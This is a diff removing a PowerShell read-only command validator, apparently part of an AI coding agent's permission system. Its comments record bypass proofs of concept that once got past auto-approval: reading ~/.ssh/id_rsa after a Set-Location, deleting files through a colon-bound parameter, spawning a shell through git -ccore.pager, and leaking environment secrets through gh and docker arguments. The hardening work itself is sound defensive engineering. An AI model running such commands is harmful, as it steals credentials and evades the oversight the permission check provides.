-    const canonical = resolveToCanonical(name);
-    return (canonical === 'set-location' ||
-        canonical === 'push-location' ||
-        canonical === 'pop-location' ||
-        // New-PSDrive creates a drive mapping that redirects <name>:/... paths
-        // to an arbitrary filesystem root. Aliases ndr/mount are not in
-        // COMMON_ALIASES — check them explicitly (finding #21).
-        canonical === 'new-psdrive' ||
-        // ndr/mount are PS aliases for New-PSDrive on Windows only. On POSIX,
-        // 'mount' is the native mount(8) command; treating it as PSDrive-creating
-        // would false-positive. (bug #15 / review nit)
-        (getPlatform() === 'windows' &&
-            (canonical === 'ndr' || canonical === 'mount')));
-}
-/**
- * Checks if a command name (after alias resolution) is a safe output cmdlet.
- */
-export function isSafeOutputCommand(name) {
-    const canonical = resolveToCanonical(name);
-    return SAFE_OUTPUT_CMDLETS.has(canonical);
-}
-/**
- * Checks if a command element is a pipeline-tail transformer that was moved
- * from SAFE_OUTPUT_CMDLETS to CMDLET_ALLOWLIST (PIPELINE_TAIL_CMDLETS set)
- * AND passes its argLeaksValue guard via isAllowlistedCommand.
- *
- * Narrow fallback for isSafeOutputCommand call sites that need to keep the
- * "skip harmless pipeline tail" behavior for Format-Table / Select-Object / etc.
- * Does NOT match the full CMDLET_ALLOWLIST — only the migrated transformers.
- */
-export function isAllowlistedPipelineTail(cmd, originalCommand) {
-    const canonical = resolveToCanonical(cmd.name);
-    if (!PIPELINE_TAIL_CMDLETS.has(canonical)) {
-        return false;
-    }
-    return isAllowlistedCommand(cmd, originalCommand);
-}
-/**
- * Fail-closed gate for read-only auto-allow. Returns true ONLY for a
- * PipelineAst where every element is a CommandAst — the one statement
- * shape we can fully validate. Everything else (assignments, control
- * flow, expression sources, chain operators) defaults to false.
- *
- * Single code path to true. New AST types added to PowerShell fall
- * through to false by construction.
- */
-export function isProvablySafeStatement(stmt) {
-    if (stmt.statementType !== 'PipelineAst')
-        return false;
-    // Empty commands → vacuously passes the loop below. PowerShell's
-    // parser guarantees PipelineAst.PipelineElements ≥ 1 for valid source,
-    // but this gate is the linchpin — defend against parser/JSON edge cases.
-    if (stmt.commands.length === 0)
-        return false;
-    for (const cmd of stmt.commands) {
-        if (cmd.elementType !== 'CommandAst')
-            return false;
-    }
-    return true;
-}
-/**
- * Looks up a command in the allowlist, resolving aliases first.
- * Returns the config if found, or undefined.
- */
-function lookupAllowlist(name) {
-    const lower = name.toLowerCase();
-    // Direct lookup first
-    const direct = CMDLET_ALLOWLIST[lower];
-    if (direct) {
-        return direct;
-    }
-    // Resolve alias to canonical and look up
-    const canonical = resolveToCanonical(lower);
-    if (canonical !== lower) {
-        return CMDLET_ALLOWLIST[canonical];
-    }
-    return undefined;
-}
-/**
- * Sync regex-based check for security-concerning patterns in a PowerShell command.
- * Used by isReadOnly (which must be sync) as a fast pre-filter before the
- * cmdlet allowlist check. This mirrors BashTool's checkReadOnlyConstraints
- * which checks bashCommandIsSafe_DEPRECATED before evaluating read-only status.
- *
- * Returns true if the command contains patterns that indicate it should NOT
- * be considered read-only, even if the cmdlet is in the allowlist.
- */
-export function hasSyncSecurityConcerns(command) {
-    const trimmed = command.trim();
-    if (!trimmed) {
-        return false;
-    }
-    // Subexpressions: $(...) can execute arbitrary code
-    if (/\$\(/.test(trimmed)) {
-        return true;
-    }
-    // Splatting: @variable passes arbitrary parameters. Real splatting is
-    // token-start only — `@` preceded by whitespace/separator/start, not mid-word.
-    // `[^\w.]` excludes word chars and `.` so `user@example.com` (email) and
-    // `file.@{u}` don't match, but ` @splat` / `;@splat` / `^@splat` do.
-    if (/(?:^|[^\w.])@\w+/.test(trimmed)) {
-        return true;
-    }
-    // Member invocations: .Method() can call arbitrary .NET methods
-    if (/\.\w+\s*\(/.test(trimmed)) {
-        return true;
-    }
-    // Assignments: $var = ... can modify state
-    if (/\$\w+\s*[+\-*/]?=/.test(trimmed)) {
-        return true;
-    }
-    // Stop-parsing symbol: --% passes everything raw to native commands
-    if (/--%/.test(trimmed)) {
-        return true;
-    }
-    // UNC paths: \\server\share or //server/share can trigger network requests
-    // and leak NTLM/Kerberos credentials
-    // eslint-disable-next-line custom-rules/no-lookbehind-regex -- .test() with atom search, short command strings
-    if (/\\\\/.test(trimmed) || /(?<!:)\/\//.test(trimmed)) {
-        return true;
-    }
-    // Static method calls: [Type]::Method() can invoke arbitrary .NET methods
-    if (/::/.test(trimmed)) {
-        return true;
-    }
-    return false;
-}
-/**
- * Checks if a PowerShell command is read-only based on the cmdlet allowlist.
- *
- * @param command - The original PowerShell command string
- * @param parsed - The AST-parsed representation of the command
- * @returns true if the command is read-only, false otherwise
- */
-export function isReadOnlyCommand(command, parsed) {
-    const trimmedCommand = command.trim();
-    if (!trimmedCommand) {
-        return false;
-    }
-    // If no parsed AST available, conservatively return false
-    if (!parsed) {
-        return false;
-    }
-    // If parsing failed, reject
-    if (!parsed.valid) {
-        return false;
-    }
-    const security = deriveSecurityFlags(parsed);
-    // Reject commands with script blocks — we can't verify the code inside them
-    // e.g., Get-Process | ForEach-Object { Remove-Item C:\foo } looks like a safe pipeline
-    // but the script block contains destructive code
-    if (security.hasScriptBlocks ||
-        security.hasSubExpressions ||
-        security.hasExpandableStrings ||
-        security.hasSplatting ||
-        security.hasMemberInvocations ||
-        security.hasAssignments ||
-        security.hasStopParsing) {
-        return false;
-    }
-    const segments = getPipelineSegments(parsed);
-    if (segments.length === 0) {
-        return false;
-    }
-    // SECURITY: Block compound commands that contain a cwd-changing cmdlet
-    // (Set-Location/Push-Location/Pop-Location/New-PSDrive) alongside any other
-    // statement. This was previously scoped to cd+git only, but that overlooked
-    // the isReadOnlyCommand auto-allow path for cd+read compounds (finding #27):
-    //   Set-Location ~; Get-Content ./.ssh/id_rsa
-    // Both cmdlets are in CMDLET_ALLOWLIST, so without this guard the compound
-    // auto-allows. Path validation resolved ./.ssh/id_rsa against the STALE
-    // validator cwd (e.g. /project), missing any Read(~/.ssh/**) deny rule.
-    // At runtime PowerShell cd's to ~, reads ~/.ssh/id_rsa.
-    //
-    // Any compound containing a cwd-changing cmdlet cannot be auto-classified
-    // read-only when other statements may use relative paths — those paths
-    // resolve differently at runtime than at validation time. BashTool has the
-    // equivalent guard via compoundCommandHasCd threading into path validation.
-    const totalCommands = segments.reduce((sum, seg) => sum + seg.commands.length, 0);
-    if (totalCommands > 1) {
-        const hasCd = segments.some(seg => seg.commands.some(cmd => isCwdChangingCmdlet(cmd.name)));
-        if (hasCd) {
-            return false;
-        }
-    }
-    // Check each statement individually - all must be read-only
-    for (const pipeline of segments) {
-        if (!pipeline || pipeline.commands.length === 0) {
-            return false;
-        }
-        // Reject file redirections (writing to files). `> $null` discards output
-        // and is not a filesystem write, so it doesn't disqualify read-only status.
-        if (pipeline.redirections.length > 0) {
-            const hasFileRedirection = pipeline.redirections.some(r => !r.isMerging && !isNullRedirectionTarget(r.target));
-            if (hasFileRedirection) {
-                return false;
-            }
-        }
-        // First command must be in the allowlist
-        const firstCmd = pipeline.commands[0];
-        if (!firstCmd) {
-            return false;
-        }
-        if (!isAllowlistedCommand(firstCmd, command)) {
-            return false;
-        }
-        // Remaining pipeline commands must be safe output cmdlets OR allowlisted
-        // (with arg validation). Format-Table/Measure-Object moved from
-        // SAFE_OUTPUT_CMDLETS to CMDLET_ALLOWLIST after security review found all
-        // accept calculated-property hashtables. isAllowlistedCommand runs their
-        // argLeaksValue callback: bare `| Format-Table` passes, `| Format-Table
-        // $env:SECRET` fails. SECURITY: nameType gate catches 'scripts\\Out-Null'
-        // (raw name has path chars → 'application'). cmd.name is stripped to
-        // 'Out-Null' which would match SAFE_OUTPUT_CMDLETS, but PowerShell runs
-        // scripts\\Out-Null.ps1.
-        for (let i = 1; i < pipeline.commands.length; i++) {
-            const cmd = pipeline.commands[i];
-            if (!cmd || cmd.nameType === 'application') {
-                return false;
-            }
-            // SECURITY: isSafeOutputCommand is name-only; only short-circuit for
-            // zero-arg invocations. Out-String -InputObject:(rm x) — the paren is
-            // evaluated when Out-String runs. With name-only check and args, the
-            // colon-bound paren bypasses. Force isAllowlistedCommand (arg validation)
-            // when args present — Out-String/Out-Null/Out-Host are NOT in
-            // CMDLET_ALLOWLIST so any args will reject.
-            //   PoC: Get-Process | Out-String -InputObject:(Remove-Item /tmp/x)
-            //   → auto-allow → Remove-Item runs.
-            if (isSafeOutputCommand(cmd.name) && cmd.args.length === 0) {
-                continue;
-            }
-            if (!isAllowlistedCommand(cmd, command)) {
-                return false;
-            }
-        }
-        // SECURITY: Reject statements with nested commands. nestedCommands are
-        // CommandAst nodes found inside script block arguments, ParenExpressionAst
-        // children of colon-bound parameters, or other non-top-level positions.
-        // A statement with nestedCommands is by definition not a simple read-only
-        // invocation — it contains executable sub-pipelines that bypass the
-        // per-command allowlist check above.
-        if (pipeline.nestedCommands && pipeline.nestedCommands.length > 0) {
-            return false;
-        }
-    }
-    return true;
-}
-/**
- * Checks if a single command element is in the allowlist and passes flag validation.
- */
-export function isAllowlistedCommand(cmd, originalCommand) {
-    // SECURITY: nameType is computed from the raw (pre-stripModulePrefix) name.
-    // 'application' means the raw name contains path chars (. \\ /) — e.g.
-    // 'scripts\\Get-Process', './git', 'node.exe'. PowerShell resolves these as
-    // file paths, not as the cmdlet/command the stripped name matches. Never
-    // auto-allow: the allowlist was built for cmdlets, not arbitrary scripts.
-    // Known collateral: 'Microsoft.PowerShell.Management\\Get-ChildItem' also
-    // classifies as 'application' (contains . and \\) and will prompt. Acceptable
-    // since module-qualified names are rare in practice and prompting is safe.
-    if (cmd.nameType === 'application') {
-        // Bypass for explicit safe .exe names (bash `which` parity — see
-        // SAFE_EXTERNAL_EXES). SECURITY: match the raw first token of cmd.text,
-        // not cmd.name. stripModulePrefix collapses scripts\where.exe →
-        // cmd.name='where.exe', but cmd.text preserves 'scripts\where.exe ...'.
-        const rawFirstToken = cmd.text.split(/\s/, 1)[0]?.toLowerCase() ?? '';
-        if (!SAFE_EXTERNAL_EXES.has(rawFirstToken)) {
-            return false;
-        }
-        // Fall through to lookupAllowlist — CMDLET_ALLOWLIST['where.exe'] handles
-        // flag validation (empty config = all flags OK, matching bash's `which`).
-    }
-    const config = lookupAllowlist(cmd.name);
-    if (!config) {
-        return false;
-    }
-    // If there's a regex constraint, check it against the original command
-    if (config.regex && !config.regex.test(originalCommand)) {
-        return false;
-    }
-    // If there's an additional callback, check it
-    if (config.additionalCommandIsDangerousCallback?.(originalCommand, cmd)) {
-        return false;
-    }
-    // SECURITY: whitelist arg elementTypes — only StringConstant and Parameter
-    // are statically verifiable. Everything else expands/evaluates at runtime:
-    //   'Variable'          → `Get-Process $env:AWS_SECRET_ACCESS_KEY` expands,
-    //                         errors "Cannot find process 'sk-ant-...'", model
-    //                         reads the secret from the error
-    //   'Other' (Hashtable) → `Get-Process @{k=$env:SECRET}` same leak
-    //   'Other' (Convert)   → `Get-Process [string]$env:SECRET` same leak
-    //   'Other' (BinaryExpr)→ `Get-Process ($env:SECRET + '')` same leak
-    //   'SubExpression'     → arbitrary code (already caught by deriveSecurityFlags
-    //                         at the isReadOnlyCommand layer, but isAllowlistedCommand
-    //                         is also called from checkPermissionMode directly)
-    // hasSyncSecurityConcerns misses bare $var (only matches `$(`/@var/.Method(/
-    // $var=/--%/::); deriveSecurityFlags has no 'Variable' case; the safeFlags
-    // loop below validates flag NAMES but not positional arg TYPES. File cmdlets
-    // (CMDLET_PATH_CONFIG) are already protected by SAFE_PATH_ELEMENT_TYPES in
-    // pathValidation.ts — this closes the gap for non-file cmdlets (Get-Process,
-    // Get-Service, Get-Command, ~15 others). PS equivalent of Bash's blanket `$`
-    // token check at BashTool/readOnlyValidation.ts:~1356.
-    //
-    // Placement: BEFORE external-command dispatch so git/gh/docker/dotnet get
-    // this too (defense-in-depth with their string-based `$` checks; catches
-    // @{...}/[cast]/($a+$b) that `$` substring misses). In PS argument mode,
-    // bare `5` tokenizes as StringConstant (BareWord), not a numeric literal,
-    // so `git log -n 5` passes.
-    //
-    // SECURITY: elementTypes undefined → fail-closed. The real parser always
-    // sets it (parser.ts:769/781/812), so undefined means an untrusted or
-    // malformed element. Previously skipped (fail-open) for test-helper
-    // convenience; test helpers now set elementTypes explicitly.
-    // elementTypes[0] is the command name; args start at elementTypes[1].
-    if (!cmd.elementTypes) {
-        return false;
-    }
-    {
-        for (let i = 1; i < cmd.elementTypes.length; i++) {
-            const t = cmd.elementTypes[i];
-            if (t !== 'StringConstant' && t !== 'Parameter') {
-                // ArrayLiteralAst (`Get-Process Name, Id`) maps to 'Other'. The
-                // leak vectors enumerated above all have a metachar in their extent
-                // text: Hashtable `@{`, Convert `[`, BinaryExpr-with-var `$`,
-                // ParenExpr `(`. A bare comma-list of identifiers has none.
-                if (!/[$(@{[]/.test(cmd.args[i - 1] ?? '')) {
-                    continue;
-                }
-                return false;
-            }
-            // Colon-bound parameter (`-Flag:$env:SECRET`) is a SINGLE
-            // CommandParameterAst — the VariableExpressionAst is its .Argument
-            // child, not a separate CommandElement, so elementTypes says 'Parameter'
-            // and the whitelist above passes.
-            //
-            // Query the parser's children[] tree instead of doing
-            // string-archaeology on the arg text. children[i-1] holds the
-            // .Argument child's mapped type (aligned with args[i-1]).
-            // Tree query catches MORE than the string check — e.g.
-            // `-InputObject:@{k=v}` (HashtableAst → 'Other', no `$` in text),
-            // `-Name:('payload' > file)` (ParenExpressionAst with redirection).
-            // Fallback to the extended metachar check when children is undefined
-            // (backward compat / test helpers that don't set it).
-            if (t === 'Parameter') {
-                const paramChildren = cmd.children?.[i - 1];
-                if (paramChildren) {
-                    if (paramChildren.some(c => c.type !== 'StringConstant')) {
-                        return false;
-                    }
-                }
-                else {
-                    // Fallback: string-archaeology on arg text (pre-children parsers).
-                    // Reject `$` (variable), `(` (ParenExpressionAst), `@` (hash/array
-                    // sub), `{` (scriptblock), `[` (type literal/static method).
-                    const arg = cmd.args[i - 1] ?? '';
-                    const colonIdx = arg.indexOf(':');
-                    if (colonIdx > 0 && /[$(@{[]/.test(arg.slice(colonIdx + 1))) {
-                        return false;
-                    }
-                }
-            }
-        }
-    }
-    const canonical = resolveToCanonical(cmd.name);
-    // Handle external commands via shared validation
-    if (canonical === 'git' ||
-        canonical === 'gh' ||
-        canonical === 'docker' ||
-        canonical === 'dotnet') {
-        return isExternalCommandSafe(canonical, cmd.args);
-    }
-    // On Windows, / is a valid flag prefix for native commands (e.g., findstr /S).
-    // But PowerShell cmdlets always use - prefixed parameters, so /tmp is a path,
-    // not a flag. We detect cmdlets by checking if the command resolves to a
-    // Verb-Noun canonical name (either directly or via alias).
-    const isCmdlet = canonical.includes('-');
-    // SECURITY: if allowAllFlags is set, skip flag validation (command's entire
-    // flag surface is read-only). Otherwise, missing/empty safeFlags means
-    // "positional args only, reject all flags" — NOT "accept everything".
-    if (config.allowAllFlags) {
-        return true;
-    }
-    if (!config.safeFlags || config.safeFlags.length === 0) {
-        // No safeFlags defined and allowAllFlags not set: reject any flags.
-        // Positional-only args are still allowed (the loop below won't fire).
-        // This is the safe default — commands must opt in to flag acceptance.
-        const hasFlags = cmd.args.some((arg, i) => {
-            if (isCmdlet) {
-                return isPowerShellParameter(arg, cmd.elementTypes?.[i + 1]);
-            }
-            return (arg.startsWith('-') ||
-                (process.platform === 'win32' && arg.startsWith('/')));
-        });
-        return !hasFlags;
-    }
-    // Validate that all flags used are in the allowlist.
-    // SECURITY: use elementTypes as ground
-    // truth for parameter detection. PowerShell's tokenizer accepts en-dash/
-    // em-dash/horizontal-bar (U+2013/2014/2015) as parameter prefixes; a raw
-    // startsWith('-') check misses `–ComputerName` (en-dash). The parser maps
-    // CommandParameterAst → 'Parameter' regardless of dash char.
-    // elementTypes[0] is the name element; args start at elementTypes[1].
-    for (let i = 0; i < cmd.args.length; i++) {
-        const arg = cmd.args[i];
-        // For cmdlets: trust elementTypes (AST ground truth, catches Unicode dashes).
-        // For native exes on Windows: also check `/` prefix (argv convention, not
-        // tokenizer — the parser sees `/S` as a positional, not CommandParameterAst).
-        const isFlag = isCmdlet
-            ? isPowerShellParameter(arg, cmd.elementTypes?.[i + 1])
-            : arg.startsWith('-') ||
-                (process.platform === 'win32' && arg.startsWith('/'));
-        if (isFlag) {
-            // For cmdlets, normalize Unicode dash to ASCII hyphen for safeFlags
-            // comparison (safeFlags entries are always written with ASCII `-`).
-            // Native-exe safeFlags are stored with `/` (e.g. '/FO') — don't touch.
-            let paramName = isCmdlet ? '-' + arg.slice(1) : arg;
-            const colonIndex = paramName.indexOf(':');
-            if (colonIndex > 0) {
-                paramName = paramName.substring(0, colonIndex);
-            }
-            // -ErrorAction/-Verbose/-Debug etc. are accepted by every cmdlet via
-            // [CmdletBinding()] and only route error/warning/progress streams —
-            // they can't make a read-only cmdlet write. pathValidation.ts already
-            // merges these into its per-cmdlet param sets (line ~1339); this is
-            // the same merge for safeFlags. Without it, `Get-Content file.txt
-            // -ErrorAction SilentlyContinue` prompts despite Get-Content being
-            // allowlisted. Only for cmdlets — native exes don't have common params.
-            const paramLower = paramName.toLowerCase();
-            if (isCmdlet && COMMON_PARAMETERS.has(paramLower)) {
-                continue;
-            }
-            const isSafe = config.safeFlags.some(flag => flag.toLowerCase() === paramLower);
-            if (!isSafe) {
-                return false;
-            }
-        }
-    }
-    return true;
-}
-// ---------------------------------------------------------------------------
-// External command validation (git, gh, docker) using shared configs
-// ---------------------------------------------------------------------------
-function isExternalCommandSafe(command, args) {
-    switch (command) {
-        case 'git':
-            return isGitSafe(args);
-        case 'gh':
-            return isGhSafe(args);
-        case 'docker':
-            return isDockerSafe(args);
-        case 'dotnet':
-            return isDotnetSafe(args);
-        default:
-            return false;
-    }
-}
-const DANGEROUS_GIT_GLOBAL_FLAGS = new Set([
-    '-c',
-    '-C',
-    '--exec-path',
-    '--config-env',
-    '--git-dir',
-    '--work-tree',
-    // SECURITY: --attr-source creates a parser differential. Git treats the
-    // token after the tree-ish value as a pathspec (not the subcommand), but
-    // our skip-by-2 loop would treat it as the subcommand:
-    //   git --attr-source HEAD~10 log status
-    //   validator: advances past HEAD~10, sees subcmd=log → allow
-    //   git:       consumes `log` as pathspec, runs `status` as the real subcmd
-    // Verified with `GIT_TRACE=1 git --attr-source HEAD~10 log status` →
-    // `trace: built-in: git status`. Reject outright rather than skip-by-2.
-    '--attr-source',
-]);
-// Git global flags that accept a separate (space-separated) value argument.
-// When the loop encounters one without an inline `=` value, it must skip the
-// next token so the value isn't mistaken for the subcommand.
-//
-// SECURITY: This set must be COMPLETE. Any value-consuming global flag not
-// listed here creates a parser differential: validator sees the value as the
-// subcommand, git consumes it and runs the NEXT token. Audited against
-// `man git` + GIT_TRACE for git 2.51; --list-cmds is `=`-only, booleans
-// (-p/--bare/--no-*/--*-pathspecs/--html-path/etc.) advance by 1 via the
-// default path. --attr-source REMOVED: it also triggers pathspec parsing,
-// creating a second differential — moved to DANGEROUS_GIT_GLOBAL_FLAGS above.
-const GIT_GLOBAL_FLAGS_WITH_VALUES = new Set([
-    '-c',
-    '-C',
-    '--exec-path',
-    '--config-env',
-    '--git-dir',
-    '--work-tree',
-    '--namespace',
-    '--super-prefix',
-    '--shallow-file',
-]);
-// Git short global flags that accept attached-form values (no space between
-// flag letter and value). Long options (--git-dir etc.) require `=` or space,
-// so the split-on-`=` check handles them. But `-ccore.pager=sh` and `-C/path`
-// need prefix matching: git parses `-c<name>=<value>` and `-C<path>` directly.
-const DANGEROUS_GIT_SHORT_FLAGS_ATTACHED = ['-c', '-C'];
-function isGitSafe(args) {
-    if (args.length === 0) {
-        return true;
-    }
-    // SECURITY: Reject any arg containing `$` (variable reference). Bare
-    // VariableExpressionAst positionals reach here as literal text ($env:SECRET,
-    // $VAR). deriveSecurityFlags does not gate bare Variable args. The validator
-    // sees `$VAR` as text; PowerShell expands it at runtime. Parser differential:
-    //   git diff $VAR   where $VAR = '--output=/tmp/evil'
-    //   → validator sees positional '$VAR' → validateFlags passes
-    //   → PowerShell runs `git diff --output=/tmp/evil` → file write
-    // This generalizes the ls-remote inline `$` guard below to all git subcommands.
-    // Bash equivalent: BashTool blanket
-    // `$` rejection at readOnlyValidation.ts:~1352. isGhSafe has the same guard.
-    for (const arg of args) {
-        if (arg.includes('$')) {
-            return false;
-        }
-    }
-    // Skip over global flags before the subcommand, rejecting dangerous ones.
-    // Flags that take space-separated values must consume the next token so it
-    // isn't mistaken for the subcommand (e.g. `git --namespace foo status`).
-    let idx = 0;
-    while (idx < args.length) {
-        const arg = args[idx];
-        if (!arg || !arg.startsWith('-')) {
-            break;
-        }
-        // SECURITY: Attached-form short flags. `-ccore.pager=sh` splits on `=` to
-        // `-ccore.pager`, which isn't in DANGEROUS_GIT_GLOBAL_FLAGS. Git accepts
-        // `-c<name>=<value>` and `-C<path>` with no space. We must prefix-match.
-        // Note: `--cached`, `--config-env`, etc. already fail startsWith('-c') at
-        // position 1 (`-` ≠ `c`). The `!== '-'` guard only applies to `-c`
-        // (git config keys never start with `-`, so `-c-key` is implausible).
-        // It does NOT apply to `-C` — directory paths CAN start with `-`, so
-        // `git -C-trap status` must reject. `git -ccore.pager=sh log` spawns a shell.
-        for (const shortFlag of DANGEROUS_GIT_SHORT_FLAGS_ATTACHED) {
-            if (arg.length > shortFlag.length &&
-                arg.startsWith(shortFlag) &&
-                (shortFlag === '-C' || arg[shortFlag.length] !== '-')) {
-                return false;
-            }
-        }
-        const hasInlineValue = arg.includes('=');
-        const flagName = hasInlineValue ? arg.split('=')[0] || '' : arg;
-        if (DANGEROUS_GIT_GLOBAL_FLAGS.has(flagName)) {
-            return false;
-        }
-        // Consume the next token if the flag takes a separate value
-        if (!hasInlineValue && GIT_GLOBAL_FLAGS_WITH_VALUES.has(flagName)) {
-            idx += 2;
-        }
-        else {
-            idx++;
-        }
-    }
-    if (idx >= args.length) {
-        return true;
-    }
-    // Try multi-word subcommand first (e.g. 'stash list', 'config --get', 'remote show')
-    const first = args[idx]?.toLowerCase() || '';
-    const second = idx + 1 < args.length ? args[idx + 1]?.toLowerCase() || '' : '';
-    // GIT_READ_ONLY_COMMANDS keys are like 'git diff', 'git stash list'
-    const twoWordKey = `git ${first} ${second}`;
-    const oneWordKey = `git ${first}`;
-    let config = GIT_READ_ONLY_COMMANDS[twoWordKey];
-    let subcommandTokens = 2;
-    if (!config) {
-        config = GIT_READ_ONLY_COMMANDS[oneWordKey];
-        subcommandTokens = 1;
-    }
-    if (!config) {
-        return false;
-    }
-    const flagArgs = args.slice(idx + subcommandTokens);
-    // git ls-remote URL rejection — ported from BashTool's inline guard
-    // (src/tools/BashTool/readOnlyValidation.ts:~962). ls-remote with a URL
-    // is a data-exfiltration vector (encode secrets in hostname → DNS/HTTP).
-    // Reject URL-like positionals: `://` (http/git protocols), `@` + `:` (SSH
-    // git@host:path), and `$` (variable refs — $env:URL reaches here as the
-    // literal string '$env:URL' when the arg's elementType is Variable; the
-    // security-flag checks don't gate bare Variable positionals passed to
-    // external commands).
-    if (first === 'ls-remote') {
-        for (const arg of flagArgs) {
-            if (!arg.startsWith('-')) {
-                if (arg.includes('://') ||
-                    arg.includes('@') ||
-                    arg.includes(':') ||
-                    arg.includes('$')) {
-                    return false;
-                }
-            }
-        }
-    }
-    if (config.additionalCommandIsDangerousCallback &&
-        config.additionalCommandIsDangerousCallback('', flagArgs)) {
-        return false;
-    }
-    return validateFlags(flagArgs, 0, config, { commandName: 'git' });
-}
-function isGhSafe(args) {
-    // gh commands are network-dependent; only allow for ant users
-    if (process.env.USER_TYPE !== 'ant') {
-        return false;
-    }
-    if (args.length === 0) {
-        return true;
-    }
-    // Try two-word subcommand first (e.g. 'pr view')
-    let config;
-    let subcommandTokens = 0;
-    if (args.length >= 2) {
-        const twoWordKey = `gh ${args[0]?.toLowerCase()} ${args[1]?.toLowerCase()}`;
-        config = GH_READ_ONLY_COMMANDS[twoWordKey];
-        subcommandTokens = 2;
-    }
-    // Try single-word subcommand (e.g. 'gh version')
-    if (!config && args.length >= 1) {
-        const oneWordKey = `gh ${args[0]?.toLowerCase()}`;
-        config = GH_READ_ONLY_COMMANDS[oneWordKey];
-        subcommandTokens = 1;
-    }
-    if (!config) {
-        return false;
-    }
-    const flagArgs = args.slice(subcommandTokens);
-    // SECURITY: Reject any arg containing `$` (variable reference). Bare
-    // VariableExpressionAst positionals reach here as literal text ($env:SECRET).
-    // deriveSecurityFlags does not gate bare Variable args — only subexpressions,
-    // splatting, expandable strings, etc. All gh subcommands are network-facing,
-    // so a variable arg is a data-exfiltration vector:
-    //   gh search repos $env:SECRET_API_KEY
-    //   → PowerShell expands at runtime → secret sent to GitHub API.
-    // git ls-remote has an equivalent inline guard; this generalizes it for gh.
-    // Bash equivalent: BashTool blanket `$` rejection at readOnlyValidation.ts:~1352.
-    for (const arg of flagArgs) {
-        if (arg.includes('$')) {
-            return false;
-        }
-    }
-    if (config.additionalCommandIsDangerousCallback &&
-        config.additionalCommandIsDangerousCallback('', flagArgs)) {
-        return false;
-    }
-    return validateFlags(flagArgs, 0, config);
-}
-function isDockerSafe(args) {
-    if (args.length === 0) {
-        return true;
-    }
-    // SECURITY: blanket PowerShell `$` variable rejection. Same guard as
-    // isGitSafe and isGhSafe. Parser differential: validator sees literal
-    // '$env:X'; PowerShell expands at runtime. Runs BEFORE the fast-path
-    // return — the previous location (after fast-path) never fired for
-    // `docker ps`/`docker images`. The earlier comment claiming those take no
-    // --format was wrong: `docker ps --format $env:AWS_SECRET_ACCESS_KEY`
-    // auto-allowed, PowerShell expanded, docker errored with the secret in
-    // its output, model read it. Check ALL args, not flagArgs — args[0]
-    // (subcommand slot) could also be `$env:X`. elementTypes whitelist isn't
-    // applicable here: this function receives string[] (post-stringify), not
-    // ParsedCommandElement; the isAllowlistedCommand caller applies the
-    // elementTypes gate one layer up.
-    for (const arg of args) {
-        if (arg.includes('$')) {
-            return false;
-        }
-    }
-    const oneWordKey = `docker ${args[0]?.toLowerCase()}`;
-    // Fast path: EXTERNAL_READONLY_COMMANDS entries ('docker ps', 'docker images')
-    // have no flag constraints — allow unconditionally (after $ guard above).
-    if (EXTERNAL_READONLY_COMMANDS.includes(oneWordKey)) {
-        return true;
-    }
-    // DOCKER_READ_ONLY_COMMANDS entries ('docker logs', 'docker inspect') have
-    // per-flag configs. Mirrors isGhSafe: look up config, then validateFlags.
-    const config = DOCKER_READ_ONLY_COMMANDS[oneWordKey];
-    if (!config) {
-        return false;
-    }
-    const flagArgs = args.slice(1);
-    if (config.additionalCommandIsDangerousCallback &&
-        config.additionalCommandIsDangerousCallback('', flagArgs)) {
-        return false;
-    }
-    return validateFlags(flagArgs, 0, config);
-}
-function isDotnetSafe(args) {
-    if (args.length === 0) {
-        return false;
-    }
-    // dotnet uses top-level flags like --version, --info, --list-runtimes
-    // All args must be in the safe set
-    for (const arg of args) {
-        if (!DOTNET_READ_ONLY_FLAGS.has(arg.toLowerCase())) {
-            return false;
-        }
-    }
-    return true;
-}